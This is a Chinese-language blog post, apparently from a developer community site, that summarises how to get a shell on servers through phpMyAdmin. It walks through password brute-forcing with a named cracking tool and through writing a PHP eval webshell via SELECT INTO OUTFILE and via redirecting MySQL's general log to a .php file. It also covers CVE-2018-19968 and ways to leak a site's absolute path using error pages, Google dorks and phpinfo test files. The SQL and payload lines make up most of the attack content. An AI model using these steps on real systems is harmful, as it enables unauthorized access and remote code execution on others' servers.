phpmyadmin getshell总结

前言 

phpMyAdmin 是一个用PHP编写的开源软件工具,可以通过web方式控制和操作MySQL数据库。通过phpMyAdmin 可以完全对数据库进行操作,例如建立、复制和删除数据等。

phpmyadmin目前更新到5.2.1

历史版本:phpMyAdmin - ChangeLog

github地址:GitHub - phpmyadmin/phpmyadmin: A web interface for MySQL and MariaDB

phpMyAdmin版本判断

  1. 通过登录界面

但很多时候都会显示404

  1. 尝试访问路径
/phpMyadmin/README
/phpMyadmin/changelog.php
/phpMyadmin/Change
/phpMyadmin/Documetation.html
/phpMyadmin/Documetation.txt
/phpMyadmin/translators.html
/phpMyadmin/readme.php

若管理员没有删除则可以查看到相应的版本信息。

口令枚举

phpMyAdmin的漏洞多为经过验证后可以才能利用,所以需要进入后台,可以采用bao破的方式进入后台,工具:phpMyAdmin多线程破解工具 | LuckySec

支持phpMyAdmin 2.11.10到4.4.11版本bao破。只有phpMyAdmin多线程批量po解工具 v1.5这个工具有用

  1. 写入要bao破的地址

  1. 导入地址进行bao破

bao破完后想继续bao破得先右键将结果清空再继续

后台Getshell

phpmyadmin getshell一般需要进入到后台,常见getshell方式如下

  1. select into outfile直接写入
  2. 开启全局日志getshell
  3. 使用慢查询日志getsehll
  4. 使用错误日志getshell
  5. 利用phpmyadmin4.8.x本地文件包含漏洞getshell

into outfile写入webshell

使用into outfile 函数直接在网站目录下写入webshell,原理和sql注入写shell的原理一样。

利用前提:

  • 当前数据库用户有写权限
  • 知道web目录的绝对路径
  1. 判断当前数据库用户是否有写权限

1.1 使用如下命令查看

show variables like '%secure%';

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍

  • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

这里为nulll,所以没有写权限

1.2 修改secure_file_priv 的值为空

我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = '' ,从其服务器即可

此时再查看secure_file_priv的值如下已经变为空了

  1. 获取网站绝对路径
  • 通过网站报错的方式获取
  • 通过phpinfo()页面获取,搜索“DOCUMENT_ROOT”
  • 通过查看数据库路径来猜测Web路径

尝试通过查看数据库路径来猜测Web路径

show variables like '%datadir%';
#或者
show variables like '%basedir%'

知道了前几层目录为“E:\phpStudy\PHPTutorial\”,然后就可以尝试采用目标域名+常用的网站根目录的方式进行爆破猜测根目录绝对路径比如

select 'test' into outfile 'E:\\phpStudy\\PHPTutorial\\$fuzz$\\shell.php';
#写入
select '<?php @eval($_POST["cmd"]); ?>' into outfile 'E:\\phpStudy\\PHPTutorial\\www\\shell.php';

日志文件写shell

MySQL 5.0版本以上会创建日志文件,我们通过修改日志文件的全局变量,就可以Getshell

利用前提

  • mysql > 5.0版本
  • 知道根目录
  1. 查看数据库版本大于5.0,那么应该可以通过日志写入shell

  1. 查看日志读写功能是否开启
show variables  like  '%general%';

该功能默认是关闭的

  1. 打开日志读写功能
SET GLOBAL general_log='on'

然后再查看变为了“on”,成功开启

  1. 指定日志文件为shell2.php

需要指定根目录

set global general_log_file = 'E:\\phpStudy\\PHPTutorial\\www\\shell2.php'

  1. 写shell到shell2.php文件中
select '<?php @eval($_POST["cmd"]); ?>'

写入成功

CVE-2018-19968:任意文件包含/RCE

漏洞影响:Phpmyadmin 4.8.0~4.8.3

可以参考:CVE-2018-19968 phpmyadmin文件包含getshell连载(完结) - PANDA墨森 - 博客园

php爆绝对路径方法

插入一句话木马时是需要知道网站绝对路径的,除了可以尝试通过执行sql查询 " show variables like '%datadir%'; ”的方式获取物理路径后,还可以尝试如下的方法

  1. 错误参数值爆路径

直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。或者将参数值改为错误值

www.xxx.com/new.php?id=1′
www.xxx.com/new.php?id=-1
  1. google搜索

结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。

Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
  1. 测试文件爆路径

很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。

www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
  1. phpmyadmin爆路径

一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。

/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
  1. 配置文件找路径

如果注入点有文件读取权限,就可以手工或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。

#Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件

#Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ly4j

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值